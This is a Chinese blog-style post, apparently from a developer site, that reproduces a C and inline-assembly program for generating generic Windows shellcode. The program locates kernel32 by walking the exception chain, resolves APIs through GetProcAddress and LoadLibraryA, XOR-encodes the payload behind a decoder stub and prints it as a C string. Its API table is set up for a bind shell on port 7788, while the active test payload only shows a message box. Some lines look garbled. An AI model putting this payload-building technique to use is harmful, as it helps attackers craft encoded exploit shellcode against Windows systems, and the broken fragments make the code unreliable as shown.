使用C语言编写通用shellcode的程序

/*  
使用C语言编写通用shellcode的程序  
出处:internet  
修改:Hume/冷雨飘心  
测试:Win2K SP4 Local  


*/   
#include <windows.h>   
#include <stdio.h>   
#include <winioctl.h>   


#define  DEBUG 1   


//   
//函数原型   
//   
void     DecryptSc();   
void     ShellCodes();   
void     PrintSc(char *lpBuff, int buffsize);   


//   
//用到的部分定义   
//   
#define  BEGINSTRLEN    0x08    //开始字符串长度   
#define  ENDSTRLEN      0x08    //结束标记字符的长度   
#define  nop_CODE       0x90    //填充字符   
#define  nop_LEN        0x0     //ShellCode起始的填充长度   
#define  BUFFSIZE       0x20000 //输出缓冲区大小   


#define  sc_PORT        7788    //绑定端口号 0x1e6c   
#define  sc_BUFFSIZE    0x2000  //ShellCode缓冲区大小   


#define  Enc_key        0x7A    //编码密钥   


#define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够?   
#define  MAX_Sc_Len     0x2000  //hellCode的最大长度 8192足够?   
#define  MAX_api_strlen 0x400   //APIstr字符串的长度   
#define  API_endstr     "strend"//API结尾标记字符串       
#define  API_endstrlen  0x06    //标记字符串长度   


#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90   
#define PROC_END PROC_BEGIN   
//---------------------------------------------------   
enum{       //Kernel32   
_CreatePipe,   
_CreateProcessA,   
_CloseHandle,   
_PeekNamedPipe,   
_ReadFile,   
_WriteFile,   
_ExitProcess,   


//WS2_32   
_socket,   
_bind,   
_listen,   
_accept,   
_send,   
_recv,   
_ioctlsocket,   
_closesocket,   


//本机测试User32   
_MessageBeep,   
_MessageBoxA,   
API_num   
};   


//   
//代码这里开始   
//   
int __cdecl main(int argc, char **argv)   
{   
//shellcode中要用到的字符串   
static char ApiStr[]="\x1e\x6c"   //端口地址   


//Kernel32的API函数名称   
"CreatePipe""\x0"   
"CreateProcessA""\x0"   
"CloseHandle""\x0"   
"PeekNamedPipe""\x0"   
"ReadFile""\x0"   
"WriteFile""\x0"   
"ExitProcess""\x0"   


//其它API中用到的API   
"wsock32.dll""\x0"   
"socket""\x0"   
"bind""\x0"   
"listen""\x0"   
"accept""\x0"   
"send""\x0"   
"recv""\x0"   
"ioctlsocket""\x0"   
"closesocket""\x0"   
//本机测试   
"user32.dll""\x0"   
"MessageBeep""\x0"   
"MessageBoxA""\x0"   


"\x0\x0\x0\x0\x0"   
"strend";   


char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记开始的字符串   
char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记结束的字符串   


char  buff[BUFFSIZE];         //缓冲区   
char  sc_buff[sc_BUFFSIZE];   //ShellCodes缓冲   
char  *pDcrypt_addr,   
*pSc_addr;   


int   buff_len;               //缓冲长度   
int   EncCode_len;            //加密编码代码长度   
int   Sc_len;                 //原始ShellCode的长度   


int       i,k;   
unsigned  char ch;   


//   
//获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串   
//获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这   
//部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理   
//   
pDcrypt_addr=(char *)DecryptSc;   


//定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,   
//从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试   


ch=*pDcrypt_addr;   
if (ch==0xe9)   
{   
pDcrypt_addr++;   
i=*(int *)pDcrypt_addr;   
pDcrypt_addr+=(i+4);      //此时指向函数的实际地址   
}   
//找到解码代码的开始部分   
for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;   


if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8);   //如找到定位实际代码的开始   
else    
{   
//显示错误信息   
k=0;   
printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");   
return 0;   
}   


for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;   


if (k<MAX_Enc_Len) EncCode_len=k;   
else    
{   
k=0;   
printf("\nNo End str defined in Decrypt function!Please Check....\n");   
return 0;   
}   


memset(buff,nop_CODE,BUFFSIZE);                       //缓冲区填充   
memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);        //把DecryptSc代码复制进buff   


//   
//处理ShellCode代码,如果需要定位到代码的开始   
//   
pSc_addr=(char *)ShellCodes;     //shellcode的地址   


//调试状态下的函数地址处理,便于调试   
ch=*pSc_addr;   
if (ch==0xe9)   
{   
pSc_addr++;   
i=*(int *)pSc_addr;   
pSc_addr+=(i+4);      //此时指向函数的实际地址   
}   


//如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的   
/*  
for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;  
if (k<MAX_Enc_Len) pSc_addr+=(k+8);   //如找到定位实际代码的开始  
*/   


//找到shellcode的结尾及长度   
for(k=0;k<MAX_Sc_Len;++k)
{
if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0)
break;
}
if(k<MAX_Sc_Len)
Sc_len=k;   
else    
{   
k=0;   
printf("\nNo End str defined in ShellCodes function!Please Check....\n");   
return 0;   
}   


//把shellcode代码复制进sc_buff   
memcpy(sc_buff,pSc_addr,Sc_len);   


//把字符串拷贝在shellcode的结尾   
for(i=0;i<MAX_api_strlen;++i)
{
if(memcmp(ApiStr+i,"strend",API_endstrlen)==0)
break;
}
if(i>=MAX_api_strlen)
{   
printf("\nNo End str defined in API strings!Please Check....\n");   
return 0;   
}   
memcpy(sc_buff+k,ApiStr,i);   


Sc_len+=i;        //增加shellcode的长度   


//   
//对shellcode进行编码算法简单,可根据需要改变   
//   
k=EncCode_len+nop_LEN;    //定位缓冲区应存放ShellCode地址的开始   


for(i=0;i<Sc_len;++i){   


ch=sc_buff[i]^Enc_key;   
//对一些可能造成shellcode失效的字符进行替换   
if(ch==0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+'||ch==0)
{   
buff[k]='0';  
++k;   
ch+=0x31;   
}   
//把编码过的shellcode放在DecryptSc代码后面   
buff[k]=ch;   
++k;   
}   
buff[k-1]=0;
//shellcode的总长度   
buff_len=k;


//打印出shellcode   
PrintSc(buff,buff_len);   
//buff[buff_len]=0;   
//printf("%s",buff);   


#ifdef DEBUG   
_asm{   
lea eax,buff   
jmp eax   
ret   
}   
#endif   


return  0;   
}   


//解码shellcode的代码   
void  DecryptSc()   
{   
__asm{   


/   
//定义开始标志   
/   
PROC_BEGIN    //C macro to begin proc   


jmp   next   
getEncCodeAddr:   
pop   edi   
push  edi   
pop   esi   
xor   ecx,ecx   
Decrypt_lop:    
lodsb   
cmp  al,cl   
jz   shell   
cmp  al,0x30  //判断是否为特殊字符   
jz   special_char_clean   
store:         
xor  al,Enc_key   
stosb   
jmp  Decrypt_lop   
special_char_clean:      
lodsb   
sub al,0x31   
jmp store   
next:        
call  getEncCodeAddr   
//其余真正加密的shellcode代码会连接在此处   
shell:       


/   
//定义结束标志   
/   
PROC_END      //C macro to end proc   


}   
}            


//   
//shellcode代码   
//   
void ShellCodes()   
{   
//API低址数组       
FARPROC     API[API_num];   


//自己获取的API地址   
FARPROC     GetProcAddr;   
FARPROC    LoadLib;   


HANDLE      hKrnl32;   
HANDLE      libhandle;   


char        *ApiStr_addr,*p;   


int         k;   
u_short     shellcodeport;   


//测试用变量   
char        *testAddr;   


/*  
STARTUPINFO siinfo;  
SOCKET      listenFD,clientFD;  
struct      sockaddr_in server;  
int         iAddrSize = sizeof(server);  
int         lBytesRead;  
PROCESS_INFORMATION ProcessInformation;  
HANDLE      hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;  
SECURITY_ATTRIBUTES sa;  


*/   


_asm {   
jmp    locate_addr0   
getApiStr_addr:   
pop    ApiStr_addr   


//开始获取API的地址以及GetProcAddress和LoadLibraryA的地址   
//以后就可以方便地获取任何API的地址了   


//保护寄存器   
pushad   


xor     esi,esi   
lods    dword ptr fs:[esi]   


Search_Krnl32_lop:   
inc     eax   
je      Krnl32_Base_Ok   
dec     eax   
xchg    esi,eax   
LODSD     
jmp     Search_Krnl32_lop   
Krnl32_Base_Ok:   


LODSD                      
;compare if PE_hdr   
xchg    esi,eax   
find_pe_header:   
dec     esi   
xor     si,si           ;kernel32 is 64kb align   
mov     eax,[esi]   
add     ax,-'ZM'        ;          
jne     find_pe_header   
mov     edi,[esi+3ch]   ;.e_lfanew           
mov     eax,[esi+edi]   
add     eax,-'EP'       ;anti heuristic change this if you are using MASM etc.        
jne     find_pe_header     


push     esi   
;esi=VA Kernel32.BASE   
;edi=RVA K32.pehdr           
mov     ebx,esi   
mov     edi,[ebx+edi+78h]  ;peh.DataDirectory   


push    edi   
push    esi   


mov     eax,[ebx+edi+20h]  ;peexc.AddressOfNames                    
mov     edx,[ebx+edi+24h]  ;peexc.AddressOfNameOrdinals         
call    __getProcAddr   
_emit 0x47   
_emit 0x65   
_emit 0x74   
_emit 0x50   
_emit 0x72   
_emit 0x6F   
_emit 0x63   
_emit 0x41   
_emit 0x64   
_emit 0x64   
_emit 0x72   
_emit 0x65   
_emit 0x73   
_emit 0x73   
_emit 0x0   
//db     "GetProcAddress",0   
__getProcAddr:   
pop     edi   
mov     ecx,15           
sub     eax,4   
next_:           
add     eax,4   
add     edi,ecx   
sub     edi,15   
mov     esi,[ebx+eax]   
add     esi,ebx   
mov     ecx,15   
repz    cmpsb   
jnz     next_   


pop     esi   
pop     edi   


sub     eax,[ebx+edi+20h]      ;peexc.AddressOfNames   
shr     eax,1   
add     edx,ebx   
movzx   eax,word ptr [edx+eax]           
add     esi,[ebx+edi+1ch]       ;peexc.AddressOfFunctions   
add     ebx,[esi+eax*4]         ;ebx=Kernel32.GetProcAddress.addr   
;use GetProcAddress and hModule to get other func   
pop     esi                     ;esi=kernel32 Base   


mov     [hKrnl32],esi           //保存   
mov     [GetProcAddr],ebx       //保存   


call    _getLoadLib   
_emit 0x4C   
_emit 0x6F   
_emit 0x61   
_emit 0x64   
_emit 0x4C   
_emit 0x69   
_emit 0x62   
_emit 0x72   
_emit 0x61   
_emit 0x72   
_emit 0x79   
_emit 0x41   
_emit 0x0   
//db      "LoadLibraryA",0   


_getLoadLib:   
push    esi   
call    ebx   
mov     [LoadLib],eax   


//恢复寄存器,避免更多问题   
popad   
}   


//取出定义的端口地址   
shellcodeport=*(u_short *)ApiStr_addr;   
ApiStr_addr+=2;   


测试用   
testAddr=ApiStr_addr;   
  


//利用GetProcAddress来获得shellcode中所用到的API地址   


libhandle=hKrnl32;   
p=ApiStr_addr;   


k=0;   
///*   
while ( *((unsigned int *)p) != 0)   
{   
ApiStr_addr=p;   
while(*p) p++;   //前进到下一个字符串   


if (*( (unsigned int *)(p-4))=='lld.')   
{   
libhandle=(HANDLE)LoadLib(ApiStr_addr);  //若为DLL则加载DLL   
}   
else   
{   
API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);   
k++;   
}   


ApiStr_addr=++p; //更新指针前进一个字符位置   


}   


//*/   


///   
//         下面就可以使用C语言来编写真正实现功能的shellcode了                //   
///   
//   
//简单测试几个API看是否复合要求   
//   
API[_MessageBeep](0x10);   
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);
///   
//                           shellcode功能部分结束                       //   
///   


//死循环   
die:      
goto die;   
__asm   
{   
locate_addr0:     
call getApiStr_addr      //5 bytes   
//真正的字符串数据要连接在此处   


/   
//定义结束标志   
/   
PROC_END      //C macro to end proc   


}   
}   


//   
//显示打印生成的shellcode的C string格式代码   
//   
void PrintSc(char *lpBuff, int buffsize)   
{   
int i=1,j=2;   
char *p;   
char msg[5];   
for(i=0;i<buffsize;i++)   
{   
if((i%16)==0)
{
if(i!=0)
printf("\"\n\"");
else   
printf("\"");

sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);   
for( p = msg, j=0; j<4; p++, j++ )   
{   
if(isupper(*p))
printf("%c", _tolower(*p));   
else   
printf("%c", p[0]);   
}   
}   
printf("\";\n/*Shell total are %d bytes */\n",buffsize);   
}

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值